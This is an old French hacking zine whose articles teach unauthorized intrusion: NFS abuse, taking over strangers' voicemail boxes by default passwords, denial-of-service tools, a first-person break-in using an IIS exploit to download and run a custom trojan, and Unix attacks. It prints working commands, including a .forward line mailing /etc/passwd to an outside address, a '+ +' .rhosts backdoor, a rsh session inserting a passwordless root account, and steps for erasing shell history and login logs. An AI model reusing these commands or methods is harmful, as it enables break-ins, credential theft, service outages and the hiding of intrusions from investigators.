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	Intro


Salut tout le monde, nous revoilà pour le n°3. Vous aurez remarquer que le niveau en hack augmente peu a peu et au fur et a mesure des zines il continuera à augmenter. Voilà un peu plus d’anarchie dans ce zine car des lecteurs nous l’on demander. Si vous souhaitez qu’on traite un sujet, merci de m’écrire (1984@ifrance.com ). Notre group « LIGHTNING JOKERS » est toujours là et continue de s’accroître (. On est maintenant une 10aine et le niveau du group a augmenté ! Nous pourrons donc vous présentez des articles de plus en plus complet. Si vous désirez faire un commentaire sur notre zine et bien laisser moi un message sur ma VMB: 0800900272 box 4016# ou sur celle de thor (même n° mais box 4012#) . Bon on a eut du mal a faire ce zine, et oui tout le monde était en vacances, alors pour écrir c’est chaud. Enfin on a réussi a faire quelque chose de potable. J’espère que vous avez tous passer de bonne vacances. Voilà alors ne sachant plus quoi dire je vous laisse a votre lecture.

Message de thor : 

A cause d'emmerdes que j'ai en ce moment, j'ai plus Internet, donc plus mon site, mais c'est pas grave, je suis en train de le refaire, et il va être 10 fois mieux, alors dès que j'ai fini, je

vous le ferai savoir grâce à ce zine, qui je l'espère vous plaît ;-)

Ps : Thor change de pseudo : GlÄdIÄThÖR

	NFS


NFS (Network File Système) permet de gérer des fichiers distribués sur plusieurs ordinateurs d’un réseau comme s’ils étaient sur un disque dur locale. Comme ça on a plus besoin de soucier de savoir où sont physiquement ses fichiers pour y accéder.

NFS permet très simplement de partager des données entre plusieurs machines. Par exemple, un utilisateur qui se connecte sur un réseau n’aura plus à de se logger sur une machine précise : via NFS, son home directory lui sera directement exporté sur la machine où il se connecte.

Le protocole NFS :

Ce que nous appelons communément NFS se compose en fait de 4 protocoles. Chacun repose sur les RPC (Remote Procedure Calls) et donc portmap. Je rappel que ce prog convertit les numéros de programmes en numéros de ports. Quand un serveur RPC démarre, il va préciser a portmap quel port il utilisera et les numéros de progs qu’il gère. Quand un client souhaite envoyé une requête RPC vers un numéro de prog donné, il contacte d’abord le serveur portmap pour obtenir le numéro de port sur le quel tourne le prog souhaité. Ensuite il adresse les paquets RPC au port correspondant.

Les 4 services permettant à NFS de fonctionner sont :

· nfs : Ce protocole est la base qui permet la création de fichiers, leur recherche, leur lecture ou leur écriture. Ce protocole gère donc l’authentification et les statistique sur les fichiers.
· mountd : Celui-ci s’occupe du montage des systèmes exportés auxquels on accèdera par nfs. Il envoie donc des requête de type mount et umount au serveur, qui doit donc garder des informations sur les systèmes de fichiers exportés.

· nsm : (Network Status Monitor) Il sert a monitorer les nœuds du réseau pour connaître l’état s’une machine (cliente ou serveur) pour signaler, par exemple, qu’elle redémarre.

· nlm : (Network Lock Manager) Pour éviter que des données soient altérées par plusieurs clients en même temps, ce protocole gère un système de locks qui permettent de signaler les systèmes de fichiers utilisés. Ainsi, à l’aide du protocole nsm qui sait quand un client redémarre, il libère tous les locks du client avant de les lui restituer si une nouvelle requête est émise.

Le démon knfsd, disponible avec les dernières versions du noyau, supporte directement les protocoles nfs et nlm. En revanche, mountd et nsm ne le sont pas encore.

Il existe actuellement 2 versions de NFS (versions 2 et 3). Le serveur NFS de linux ne supporte pour l’instant que la version 2.

NFS pour le HACK :

Tout d’abord il faut se savoir se servir de NFS alors :

Pour savoir ce qui peut être chopper grâce a nfs, taper dans un un shell : 

#showmount -e www.cible.com
vous aurez en réponse un truc comme du genre : 
/bin (everyone)








/etc  (joker)

vous avez compris que n’importe qui peut mounter le répertoire /bin et seul joker peut mounter le répertoire /etc.

Voilà il vous reste plus qu’a exporter le répertoire. Pour cela :

#mount -t nfs www.cible.com:/rep-distant /votre_dossier

Bon, maitenant que vous savez vous servir du NFS, voyons a quoi il peut

bien nous servir :

1) ça peut servir a récolter des infos sur la cible, inspecter le système. A choper le nom de domaine NIS si le rep /var est exportable.

2) Il peut aussi servir à insérer une backdoor sur la cible. Il suffit de l’écrire dans le rep /usr (par exemple).

3) Vous pouvez récupérez un shell sur la machine. Si vous avez de la chance, les home directories seront modifiables par tout le monde, sinon vous devrez modifier votre UID/GID afin de prendre l’identité d’un user. Une fois que vous avez accès au home direstori, vous pouvez lui mettre un fichier .rhosts comprenant "+ +" dedans , ou faites un fichier .forward avec "|/bin/mail joker@hacking-fr.org < /etc/passwd" histoire de récupérer /etc/password .

4) Il y a également le bug Mkmod. Le bug mknod de certains serveurs NFS permet aux utilisateurs de créer des devices qui nécessiteraient normalement un accès super utilisateur.On pourrait ainsi créer un device kmem et changer ainsi l'accès au super utilisateur.

5) Le probleme de l’UID. Certains démons NFS ne permettent pas à root (UID 0) du système distant de monter la machine cible comme root. Cette tentative sera montée comme 'nobody'. Cependant l'utilisation d'un UID de plus de 16 bits perturble le démon qui permettra alors ce montage comme root.

6) Sur toute machine équipée d'un NFS sur OS Vulnerable: Solaris 2.5.1 and below, Sunos 4.1.4 and below,All Linux kernels as of 4/18/97. On peut modifier des fichiers mémorisés par le serveur NFS, tels qu'identifiés lors de requêtes d'accès.

7) On peut aussi regarder si il n’y a pas un fichier d’acces dans les répertoires exporté. Si c’est le cas, et bien il reste plus qu’a le modifier !(
  
   

Voilà, j’espère que je vous aurez fais comprendre se que c’est que NFS et a quoi il peut servir.

By the Joker

	VMB


Hackons les VMB !!!

Je vais pas vous emmerder longtemps à vous expliquer ce qu'est une VMB, vous le savez déjà sûrement, mais au cas où, je vais quand-même vous le dire... Une VMB c'est tout simplement une boîte vocale (heu...pour les abrutis, qui je l'espère ne sont pas nombreux...on peut aussi appeller ça un répondeur !). La VMB que nous allons ici étudier, c'est le 0 800 90 02 72.

Comme on peut le voir, c'est un 0 800...donc un numéro vert, ce qui veut dire...GRATOS !!! Après le 0 800, il y a le 90, ce qui veut dire que c'est un International  Tollfree Number, autrement dit un numéro vert international, il y en a donc un peu partout dans le monde. CElle-ci se trouve aux USA, et a plusieurs avantages:

-VMB 24/24

-autant d'essais qu'on veut

-pas de log

THEORIE:

On va appeler ce numéro, et on va scanner les boîtes, c'est à dire qu'on va en chercher une susceptible de pouvoir être hackée facilement. Ensuite, restera plus qu'à se l'approprier ;-)

PRATIQUE:

1)composez le 0 800 900 272 (c plus facile à retenir comme ça...)

2)dès que vous entendez le message d'accueil "Welcome to...", appuyez sur 2, ça vous amène à la fonction "Express Messaging", celle pour accéder à une mail box.

3)tapez un number de box en 3xxx ou 4xxx ou même 2xxx je crois, suivi de # pour valider.

4)Il y a maintenant 3 possibilités qui s'offrent à vous:


-on vous dit "There is no mail box at..." =>là, c foutu.


-on vous dit "Mail box XXXX" =>là ça peut être bon, car le gars à qui la box appartient 
n'a pas personnalisé sa box, donc à peut-être pas changé son pass. Donc on garde...


-vous entendez l'intro perso de la personne à qui ça appartient =>ça peut être bon, mais 
c pas sûr. Gardez quand-même...

5) raccrochez

6) recomposez le numéro

7) dès le message d'accueil, tapez 1 pourarrivez sur le meridian, on va maintenant tenter de se prendre la box.

8) on va vous dire "Meridian mail-Mail box ?" Entrer le numéro de boîte que vous avez trouvé plus haut, en validant par #.

9) on va vous dire "Password ?" Entrer un pass quelconque en commencant par le numéro de 

la boîte, et en validant par #

10) y a maintenant deux possibilités:

- on vous répond "Login incorrect", faut chercher le pass, donc ça risque d'être dur, laissez tomber, et chercher une autre boîte.

- on vous dit "Your password has expired, to aces your mail box, press eight four (84) and change your password", je crois, ça veut dire que le pass n'est plus bon et qu'il faut en changer.

Avec cette deuxième possiblité, c'est parfait, vous avez votre boîte ! Faites donc ce qu'on vous dit, tapez 84, et là on va vous dire "enter your new password...". Mettez votre mot de passe nouveau, et faites #, on va vous répondre d'entrer votre pass "again", faut donc le retaper et refaire #. Là, on va vous demander d'entrer "your old password", c'est le numéro de la boîte.

Et après ça, c'est fini, vous avez votre VMB !

INCONVENIENTS:

Si vous êtes une couille en anglais, ça risque d'être un peu dur parfois pour comprendre ce qu'on vous dit.

Comme c'est une boîte américaine, tous les messages qui ne vous sont pas destinés seront évidemment en anglais...moins intéressant que si ct en français...;-)

RISQUES:

aucun à mon avis, vu que c'est à l'étranger, à part celui de vous faire virer de la boîte, faudra en retrouver une.

vis à vis de FT, ça va peut-être faire bizarre si ils voient que vous faites 500 numéros verts à l'heure, ça sera bizarre, mais rien de plus, vous avez bien le droit de téléphoner, non ?

c pas de not' faute si, sans faire exprès, nos doigts ont dérapé sur les touches du téléphone, et qu'a notre insu, on s'est approprié une box, non ? En plus, aucune loi n'interdit de pianoter sur son tél !

TIPS:

cherchez une box pas personnalisée, et dont le pass a expiré, vous avez plus de chance, et perdrez moins de temps...

EXEMPLE:

Comme vous le savez, on comprends bien mieux avec un exemple, je vais donc vous en donner un, celui du hack de la mienne, la 4012.

Je compose donc tranquillement le 0800900272 de chez moi, c gratos, j'ai donc tout mon temps. J'appuie donc sur le 2 dès qu'on commence à me parler (c un disque), et je compose un numéro de box dans les 4xxx, en allant de 1 en 1, jusqu'à temps que j'en trouve une. Pour trouver celle que g en ce moment, je n'ai scanné que 12 box ! C'est donc pas très long, mais g peut-être eu un coup de chance que ça soit aussi rapide. 

Parmi ces 12 boxz, il y en avit deux ou trois qui n'étaient pas attribuées, une pas personnalisée, mais le pass l'était, d'autres personnalisées, g donc même pas essayé, une qui appartenait...à un skwatter...français plutôt bizarre : musique en intro ultra pourrie, enfin chacun ses goûts, et la voix de qqn qui est complètement défoncé...mais je ne citerai pas laquelle...et enfin, une pas perso, donc "Mailbox 4012".

Je refait le numéro, j'appuie sur le 1 pour aller direct au meridian, j'entre mon numéro de box, suivi de #, et le pass le plus générique qu'il soit, le numéro de la box, suivi de #, soit box:4012 et pass:4012. Et là, on me dit "Your password has expired, please press 84..." ! C'est donc gagné, je fait le 84, j'entre mon nouveau mot de passe, sans jamais oublier le # à la fin, je le confirme, et j'entre maintenant le old password, cad le numéro de la box, soit 4012, et g enfin fini, j'ai ma box !

Je la consulte donc, y a 56 messages, que j'ai effacé pour pas être encombré de conneries.

Y a une question que je me pose, et g jamais trouvé la réponse dans aucun zine : est-ce que je suis tombé sur une box à l'abandon ? car les certains messages dataient d'il y a plus d'1 mois, et en plus, le pass était expiré, et c'est moi qui ais du le changer.

D'un autre côté, au moment ou j'écris cet article, g consulté ma VMB, et il y avait un message daté d'aujourd'hui, alors si vous, vous savez, laissez-moi un message, dans la box 4012.

Pour aller plus vite, maintenant que vous savez comment fonctionne cette VMB, faites le 0 800 900 272, et dès qu'y a le message d'accueil, faites tout de suite 24012# pour me laisser un message, et si vous avez votre box, dès que ça vous parle, faites tout de suite 14xxx#pass# pour consulter votre VMB, ça sert à rien d'attendre les instructions !

Voici aussi l'arbo d'utilisation d'un meridian, qui est presque touours pareil:

2:lect du message en cours

4:msg précédent

5:enregistrer

6:msg suivant

7*:commandes sur les msg



71:répond au msg en cours



72:consulter l'header du msg



73:transfert



75:envoyer un msg



76:efface le msg



77:suppr le msg de ts les destinataires



78:envoi de msg ds ttes les box



79:envoi d'1 msg après son enregistrement

8:commandes sur la boîte



80:paramétrage VMB



81:reconnexion



82:répondeurs



83:déconnexion



84:changer le pass



85:liste de diffusion



86:accès direct à un msg (faire son num + #)



87:annuaire des box



88:maintenance des box



89:changement du nom du proprio

9:appelle le poste de l'expédit







[Article proposé by GlÄdIÄThÖR]







  0 800 900 272--BOITE--4012#
	Attaque DOS


DoS (Denial of Service) : 

Vous avez surement entendu parler de cette technique quelque part ?! une attaque DOS, c’est tout simplement faire un plantage de la machine (en gros un crash mais pas vraiment). Vous allez me dire : mais a quoi ça sert de faire un crash pour faire du hack ?. Et bien ça peut servir à mettre en activité un troyen, une backdoor ou pour faire du spoofing avec l'ip du serveur crashé. Pas de panic, je vais tout vous expliquer.

Pour le spoof : 

-Soit vous utiliser un proxy. Ce qui équivaut a rentrer dans une bécane et se redirigé (pour ceux qui on pas capter : vous entrer par un port d’une machine et une fois dans cette bécane vous reparter pour une autre destination, ainsi votre nouvelle destination aura l’ip de la bécane par la qu’elle vous êtes passé et pas la votre). Les ports permettant les redirections sont: 23 , 8080, 1080, 3129, 70, 8000, 8001, 8002, 443 (yen a surement d’autres)

· imaginons qu’il y a une macine A et une macine B. B connaît A et lui fait confiance.

Nous on veut se connecter sur B pour le hacker mais voilà le prob c’est que B nous connais pas donc ferme la connection. Le but est de se faire passer pour A. c’est la que intervient le DOS. Pour prendre l’ip de A qui est fixe il faut que celle si n’existe plus car 2 meme ip ne peuvent pas exister. Donc avec un DOS vous crashé A ensuite vous prenner son ip et vous pouvez vous connecter à B pour le hacker. Vous voyez c’est du hacking et pas du crashing ! 

Donc voilà la plus grande utiliter du dos : voler des ip.

L’autre fonction est d’activer des trojans ou backdoors. Si vous fouter un trojans qui a besoin que la machine reboot pour que celle si soit infecter, et bin vous pouvez attendre longtemps car les serveurs ne reboot pas (enfin avec le DOS ça va s’arrenger). Les serveurs sont en général connecter 24/24. donc vous avez piger le truc ?! vous crashé une bécane sur la qu’elle vous avez foutu un trojans, ainsi elle doit rebooter et elle sera infecter par le trojans.

Bref cette technique est a connaître, un DOS ça peut toujours servir. Maintenant je vais vous expliquer comment faire un DOS :

Bon la j’ai trouvé l’article de rhylkim bien fait sur ce sujet donc voilà :

IIS 4.0 avec serveur FTP: 

IIS est un serveur web dévellopé par microsoft tournant sur NT (pour les autres OS je ne sais pas). Si la bécane sur laquelle  il tourne a un port FTP ouvert, même anonyme, connectez y vous simultanément une dizaine de fois et envoyez sur chacune des dix connections les commandes "put" ou "delete". je vous conseillerais de faire un script (en c parce que le spoof est plus aisé sous linux mais pour un DoS juste ça n'a pas d'importance) qui fasse toutes ces opérations à votre place sinon vous ne serez pas assez rapide. Ensuite le serveur devrait vous envoyer une erreur 426 (connection closed, transfert aborded ou un truc dans le genre). Cette attaque rends le serveur inutilisable par n'import quel user, root y compris et la seule manière de le rendre opérationnel à nouveau est des rebooter le serveur. Ce qui veut dire que jusqu'au reboot vous pourrez spoofer. Si vous utilisez l'ip du serveur crashé et que lui essaye de se reconnecter il n'y arrivera pas donc vous pouvez spoofer pendant un an si vous voulez et surtout si vous ne vous déconnectez pas. Pas de patch dévellopés à ma connaissance alors amusez vous bien mais foutez pas la merde. 

Windows 9x et NT: 

Pour faire un Dos sur les machines tournant sur windows 95 ou 98, il y a beaucoup de possibilités. Je vais recenser celles que je connais. Les programmes exploitant ces failles se trouvent dans la partie programmme de ce site. 

- Le Nuker: Pour une plus grande explication allez dans la partie inclassables de ce site. 

- Le boink ou bonk: Il fait planter une machine tournant sur 9x ou NT. 

- Newtear: Les effets sont les même que celui entrainés par un nuke, un écran bleu apparait (erreur critique) et vous devez rebooter. 

- Pong: Ne marche que sur les win9x. Ce programme innonde le serveur de paquets ICMP ayant une ip qui n'est pas la votre et provoque le bloquage d ela machine. 

- Puke: Ne marche que sous win9x mais aussi sur Linux. Envois des paquets faisant référence à une adresse ICMP innaccessible ce qui a pour effet de faire planter l'OS. 

- Teardrop: Bloquage du serveur apres inondation de fragment IP. 

NT 4.0 n'ayant pas IIS (NT PPTP): 

Connectez vous sur le port 135 (loc-srv) ou sur le port 1031(iad2) avec telnet et envoyez plein de carctères aléatoires, cela bloquera le serveur. Cela marchera aussi sur les NT 4.0 qui ont IIS pour le port 135 mais pas pour le 1031 (pourtant plus efficasse) car IIS le choisit aléatoirement et il y a donc peu de chance que ce soit celui là. Mais c'est comme pour tout, il faut toujours essayer. Comme pour le DoS de IIS 4, il va falloir que vous créez un script en c pour générer des caractères aléatoires car cela vous fera gagner du temps, sera plus efiicasse et moins chiant. Pas de patchs existant pour cette atrtque mais l'admin peut décider de fermer ces port s'il n'en a pas besoin et là vous l'avez dans le baba. le programme Inetinfo.ewe a été spécilament conçu pour cela et se trouve dans la partie programme de ce site. 

NT 4.0 (ayant un serveur http): 

Le DNSkiller, c'est son nom est un programme qui paralise le serveur de nom (DNS). Le source de ce programme se trouve dans la partie programme de ce site. 

La majorité des OS: 

Un programme appelé LAND (disponible dans la partie prog de ce site) permet de bloquer le serveur cible et ceci, qu'il soit sur n'importe quel OS ou presque. L'effet de se porgramme est d'envoyer sur le serveur des paquets de demande de connection ayant la même source et la même destination. 

Solaris 2.5: 

Ce prgramme appelé Solaris_telnet bloque, comme son nom l'indique, le telnet d'un serveur tournant sur solaris. Le code source de ce programme se trouve dans la partie programme de ce site. 
By rhylkim (and joker)

	Exemple de Hack


Bon j’ai eu une petite idée : voilà à partir de maintenant je mettrai un exemple d’un de mes hack dans chaque zine. Ainsi vous serez comment vous y prendre etc… je pense que c’est plus pratique pour apprendre. Je détaillerai tout, même mes pensées !

Donc on y vas pour le premier :

Bon ce premier hack va se passer entièrement sous windaub, et oui c’est possible !!

on est jeudi et je surf sur tout et n’importe quoi. Et pis je tombe sur un site qui pourrai être intéressant à hacker. Donc premièrement je note l’url, l’ip et je regarde toutes les pages du site.

En regardant les pages je fais attention à : 


-    si il utilise des cgi

· si il y a des pages ssl

· je note en gros les répertoires du site

· je note le mail du webmaster

bon, c’est fais ! maintenant je me déconnecte et puis je me reconnecte avec un faux account et en passant par un proxy. Maintenant je vais me faire un petit fichier .txt pour stocker toutes les infos que j’aurai trouvées.

Premièrement je fais un whois sur ma victime et j’obtient :

Domain Name: xxxxxxx.COM 

Registrar: NETWORK SOLUTIONS, INC. 

Whois Server: whois.networksolutions.com 

Referral URL: www.networksolutions.com 

Name Server: NS1.xxxxxx.NET 

Name Server: NS1.xxxxxx.NET 

Updated Date: 07-mar-2000
(Pour des raisons de survie, je nommerai pas ma victime ! )

je fou tout ça dans mon .txt.

Bon deuxièmement je regarde sous quoi tourne le serveur. Pour cela il y a beaucoup d’utilitaires (personnellement j’utilise « shadow hack and crack »). Donc j’obtient ça :

www.xxxxx-xxxxx.com is running Microsoft-IIS/4.0

Pour le moment je me souci pas des infos, je les enregistre en bloque dans mon fichier .txt. Après cela je vais scanner les ports de ma victime. Et voilà ce que j’obtient :

[21] Service found at: 21

[21] Could be: ftp

[21] No data to read.

[80] Service found at: 80

[80] No data to read.
Donc je vois que ma victime a un ftp. Ma première réaction est de savoir qu’est ce quel utilise. Pour avoir cette information, je me connecte en telnet sur le port 21 et la ça me dis en première ligne ce qu’utilise ma victime. Dans ce cas j’obtient : 

fergus Microsoft FTP service V4.0

bon je note tout ça dans mon petit fichier. Lorsque que j’avais regardé les pages du site j’avais remarqué qu’il utilisait des cgi donc je vais faire un scanne de cgi bugs sur ma victime. Les programmes permettant cela sont également nombreux (voideye par exemple). Donc je lance le scan sur le port 80 et j’obtient :

Recherche de phf              
: no way...

Recherche de Count.cgi       
: no way...

Recherche de test-cgi        
: no way...

Recherche de nph-test-cgi     : no way...

Recherche de nph-publish     : no way...

Recherche de php.cgi          
: no way...

Recherche de handler          
: no way...

Recherche de webgais          
: no way...

Recherche de websendmail    : no way...

Recherche de webdist.cgi       : no way...

Recherche de jj               
 : no way...

Recherche de info2www         : no way...

Recherche de shtml.dll       
 : FAILLE !

Recherche de shtml.exe       
 : FAILLE !

Recherche de codebrws.asp 2   : no way...

Recherche de showcode.asp     : no way...

Recherche de search97.vts    
  : no way...

Recherche de carbo.dll     
   : no way...

Bon j’ai abrégé la liste parce qu’y en avait 3 pages !

Bon je remarque 2 failles, je fais une copie des 2 lignes et je les mets toujours dans mon fameux fichier .txt.

Bon mon petit fichier commence à se remplir ! je considère que j’ai assez d’info pour commencer à réfléchir sur : « comment rentrer dans cette petite boite ? »

Bon je vais relire mon fichier txt. 

Je sais qu’il existe une faille dans IIS 4.0, et ya aussi les 2 autres failles cgi que j’ai trouver.

Ça en fait 3 (putain, je suis fort !). ça devrai logiquement suffire pour pouvoir entrer dans ce serveur.

La faille de IIS 4.0 se situe dans le fait qu’on peut faire exécuter un programme au serveur cible. Bon j’ai pas eu besoin de chercher si il existait une faille dans ISS 4.0 car je la connaissais déjà. Mais si vous êtes pas au courant, rechercher toujours si il existe une faille dans l’OS ou sur des programmes utiliser pour le web. Pour faire ces recherche aller sur www.alltheweb.com , www.insecure.org , www.rootshell.com et y en as encore d’autre !

Bon maintenant le problème c’est de trouver l’exploit de IIS 4.0 pour windaub ! pour linux vous aurez pas de mal a le chopper mais pour windaub ça sera plus dur !  enfin c’est trouvable puisque je l’ai trouver ( putain des fois je me surprend, tellement que je suis con !).

Je le mettrai sur mon site dans la prochaine mise a jour !

Bon maintenant que j’ai trouver une faille qui devrai être exploitable et que j’ai l’exploit (je dis devrai car il existe un pacth contre cette faille que Microsoft à publier), je vais devoir réfléchir sur quel genre de programme je vais faire exécuter au serveur.

La première chose à la quel je pense c’est le trojans ou la backdoor. 

Grâce à JB34, je sais que prendre un trojans connu est impensable à cause des puissant antivirus dont est dotée ma cible (merci JB34 !). Donc la solution est de faire son propre trojans ou backdoor, ainsi ils seront indétectables.

Oui mais le problème c’est que je suis une bite en programmation ! alors comment je fais ?

Et bien ya 2 solutions :

· soit je prend un trojans générator et je fais mon propre trojans, mais il risque d’être détecté à cause de sa structure.

· soit je demande à un pot de m’aider a faire une backdoor.

J’ai choisi la 2ème solution. 

Je demande donc a un pot de me faire un petit trojans avec des fonctions que je lui ai spécifier. Voilà mon travail s’arrête ! Maintenant il faut que j’attende que le programme soit près.

5 jours plus tard mon pot m’envoie le trojans par mail. Ah ! enfin je vais pouvoir passer à l’action !

Avant de passer à l’action il faut que je prennes quelques mesures de sécurité :

Pour ne rien risquer et être intraçable par ma cible, il me faut un proxy, une beige box et un faux compte.

Donc je prend mon ordinateur portable sur le quel je met l’exploit de IIS 4.0 et les deux parties du trojans. Je le fou dans mon sac à dos et je pars faire une beige box dans un coin tranquille. Une fois que j’ai fais ma beige box, je me connecte au net via un faux compte. Je configure IE pour passer par un proxy (cf zine n°1). Voilà maintenant tout est près.

Donc je mets le trojans.exe sur un serveur distant quelconque (www.hacking.org/trojans.exe par exemple). Ensuite je vais sous DOS et je lance l’exploit en spécifiant l’url de ma cible, l’emplacement du fichier (trojans.exe) et le port ou je veut l’exécuter. Voilà tout est fait c’est l’heure du grand moment ! je valide !

Maintenant il me reste a vérifier si ça a bien marcher car il est possible que ma cible soit patcher contre cette faille.

Donc je lance le trojans de mon ordi, je rentre l’ip victime et là  j’obtient :

Connected !

cool ! je suis connecté.

Voilà maintenant j’ai plus qu’a récupérer ce que j’ai à récupérer (je préciserai pas !).

J’enregistre les infos que j’ai trouver (sur ma cible) sur mon ordi portable et pis je me casse parce que j’ai mal aux jambes, et oui je suis à croupi derrière un buisson avec l’ordi sur les genoux !!

Voilà, je remballe le matos et je rentre pénard chez moi. Maintenant il y a des trucs aux quels il faut faire gaffe : 

surtout ne parler a personne de votre hack ou sinon sans mentionner de quelle cible vous parler (comme j’ai fait dans ce zine). Quand on est fier de son hack, on a tendance à vouloir le dire à tout le monde. Et ben non, il faut fermer sa grande gueule même si c’est frustrant !

vous devez être le seul a savoir quel cible vous avez hacké ! j’insiste beaucoup sur ce point car c’est comme ça qu’on se fait choper le plus souvent ! soi quelqu’un vous balance, soi vous avez raconter ça a une taupe (de la DST) ou pleins d’autre trucs encore ! Donc un bon conseil : FERMER VOTRE GUEULE !

Un dernier truc : au cas ou certain d’entre vous ne saurez pas faire de beige box, et bien ya un article sur mon site : www.hackerz.fr.st 

Bon cette exemple est simple et c’est fait exprès ! au fur et à mesure je vous montrerai les difficultés que l’on peut rencontrer lors d’un hack. Donc rendez vous au prochain numéro pour de nouvelles aventures !

voilà j’espère que ça vous a éclairci, et que j’ai été clair (ahah, je suis drôle !( ). Enfin si vous avez des questions et bien n’hésitez pas à me mailler.

By the Joker

	Hack Unix


Bon je vais vous présenter plusieurs faille d’Unix, vu qu’il y en a beaucoup, je l’ai développerai pas trop. Donc on y va :

· Ping o'death :

Il s’agit d’envoyer des messages ICMP surdimensionner. Ceci provoque un crash de la victim et même de l’émeteur si son Os est inférieur à linux 2.0.24. toute machine et out routeur sont vilnérable par cette technique sauf si ils sont patcher. Et oui un patch existe (
· Attaque par le démon Finger :

Si vou lancer une commande finger telle que : 

finger jokers@@@@@@@@@@@@@@@@@@@victim.com

Dans ce cas le démon finger va être appelé récursivement. Cela va surcharger le système suportant le demon finger. Toute UX supportant le démon finger sont vulnérable par cette attaque.

· Attaque de DG/UX par Ulimit 0 :

On se connect via telnet sur notre victim et on lance les commandes suivantes :

>ls -la /etc/passwd 
-rw-rw-r-- root root 24 Feb 1995 /etc/passwd 
>ulimit 0 
Enter old password: 
Enter new password: 
> ls -la /etc/passwd

-rw-rw-r-- root root 11 June 01:34 /etc/passwd

Cela permet d’effacer tous les mots de pass. Les machine vulnérable sont les serveurs utilisant l'OS DG UX 5.3.2 et plus anciennes versions.

· finger :

Permet de récolter des infos importantes sur la cible. utilisez finger sur "@","0","", root, bin, ftp, system,guest, demo, manager, etc... 
Vous apprendrez au moins quels sont leur id de compte, leur répertoires par défaut, leur origine et leur activité système.

Pour connaître les utilisateurs distants, utilisez rusers -l.

· Attaque par Force Brute :

Bon bah la ya pas grand chose à expliquer. Enfin on sait jamais si il y a des newbies qui lisent ça. Cette attaque consiste à essayer de deviner les passwd. Cette attaque peut se faire sur pop3, FTP, Telnet, RSH, Rexec, Rlogin. Pour cette attaque il faut un prog : un cracker brute force, vous aurez pas de mal a en trouver sur le net, sur mon site il y en a qq un.

· NFS :

Bon bah la reportez vous au zine n°3 qui parle de NFS et de ses failles. Vous trouverez les zines 1, 2 et 3 sur mon site : www.hackerz.fr.st 

· R-Commandes :

Les "Berkeley R-commands" permettent d'accéder à une machine sans avoir de mot de passe. Cette technique est utilisée pour éviter d'avoir à transmettre les mots de passe en clair sur le réseau public. Le système est utilisé uniquement par des machines de confiance. Ça fait tilt la ou pas ? et oui si vous avez lu mon article sur les attack DOS et bien vous saurez qu’il est possible de se faire passer pour une de ces machine et donc avoir acces a la cible sans mots de pass. Donc je vous renvoie a l’article sur les attack DOS. Cette attack permet d’avoir un acces root sur la bécane. Les machines vulnérable sont toutes machines surportant les R-commands (activé).

· Rsh : le lancement de shell à distance :

Si votre cible a "+" dans son /etc/hosts.equiv (par défaut dans de nombreux systèmes) tout utilisateur non-root disposant d'un id dans le fichier des mots de passe pourra se connecter sans fournir de mot de passe. L'utilisateur "bin" possède en général des fichiers sensibles et des répertoires . En plantant un programme dont l'uid est bin, il est possible d'obtenir un accès root. Pour modifier le fichier des mots de passe :

evil % whoami 
bin 
evil % rsh victim.com csh -i 
/* cela permet de ne pas laisser de trace dans les fichiers wtmp ou utmp */ 
/* par contre vous n'avez pas accès aux applications de pseudo terminal */ 
/* donc pas d'accès aux éditeurs... c'est utile pour de simples explorations */ 
Warning: no access to tty; thus no job control in this shell... 
victim % ls -ldg /etc 
drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc 
victim % cd /etc 
victim % mv passwd pw.old 
victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd 
victim % ^D 
evil % rlogin victim.com -l toor 
Welcome to victim.com! 
victim # 
· FTP :

bon bah la vous connaissez tous. La méthode avec Quote. Ensuite le TfTP etc…

si il y en a parmis vous qui connaissez pas et bien reportez vous au zine n°1.

· Rpcinfo :

Le rpcinfo permet de tirer de nombreuse informations du portmapper.

Utiliser la commande : evil % rpcinfo -p victim.com

Ensuite je vous conseille de vous reporter aux articles sur NIS (et NFS).

Les machines vulnérables sont celles suportant le service RPC.

· X Windows :

le port 6000 est ouvert pour X windows : sans protection il est possible de capturer des écrans ou des touches . La fonction XOpenDisplay() permet de savoir si un écran X est accessible : 

char *hostname; 
if (XOpenDisplay(hostname) == NULL) { 
printf("Cannot open display: %s\n", hostname); 
} else { 
printf("Can open display: %s\n", hostname); 
} 
evil % opendisplay victim.com:0 
Cannot open display: victim.com:0 
Si un écran est accessible, il est probable que vous puissiez lancer via rsh un programme par le terminal de la victime, tout en en ayant les résultats sur votre écran : 

evil % xhost +xvictim.victim.com 
evil % rsh xvictim.victim.com telnet victim.com -display evil.com 

· Sendmail :









   Bon bah la faile sendmail est archie connu ! donc je vais pas vous la présentez. Si vous désirez que je vouq la présentes tout de même et bien maillez moi. Et je ferai un article dessus dans le prochain zine.

Bon bah voilà pour cette petite présentation de quelques failles Unix. Ne vous inquietez pas je développerai mieux certaines de ces failles dans les zine futur. Cet article était la juste pour vous les présenter. Donc pas de panic, j’expliquerai mieux tout ça !!

By The Joker

	Effacer ses traces sous Unix


1. Ne rien laisser dans les répertoires HOME et TMP des serveurs.

2. Lister tous les éléments modifiés avant de se déconnecter : ls -altr

3. Utiliser les commandes csh suivantes pour effacer les données d'historique sans laisser de trace :

mv .logout save.1

echo rm .history>.logout

echo rm .logout>>.logout

echo mv save.1 .logout>>.logout

4. Nettoyer les fichiers " logs " des servers :

Sous Unix, il faut connaitre au moin 3 fichiers importants :

WTMP - chaque connection/déconnection avec l'heure, le server, et le terminal concerné.

UTMP - Tous les utilisateurs connectés à un moment donné.

LASTLOG - origine des connexions.

L'admin peut utiliser ces fichiers pour les commandes statistiques ( lastlogin ), pour par exemple savoir quand a eu lieu l'intrusion, le serveur d'origine de l'intrusion et puis le temp estimé de l'attaque. ( tout pour vous retrouver ).

Il faut savoir aussi que toutes les connexions par, ftt, rlogin, telnet, sont enregistré dans ces fichiers.

Mais ne pas effacer ces fichiers car l'admin saura immédiatement que l'intrusion a eu lieu. Pour vous simplifier la tache utiliser un prog de modification de ces fichiers : ZAP ou ZAP2 (remplace la derniere donnée de connexion par des 00000000. ).

Recommendation :

Pour modifier le LASTLOG sans toucher au fichier , une fois connecté, lancer un rlogin "server cible" avec le login et pass du compte utilisateur hacké. Cela a pour effet d'enregister un LASTLOGIN à partir du serveur et non à parir de l'exterieur.

Normalement ces modifs sont possible que par le ROOT. MAis si le ROOT n'a pas été obtenu, il suffit pour certaines version d'Unix de faire un rlogin lors de votre connexion sur le serveur pour modifier le LASTLOG.

5. Trouver tous les fichiers modifié après la connexion :

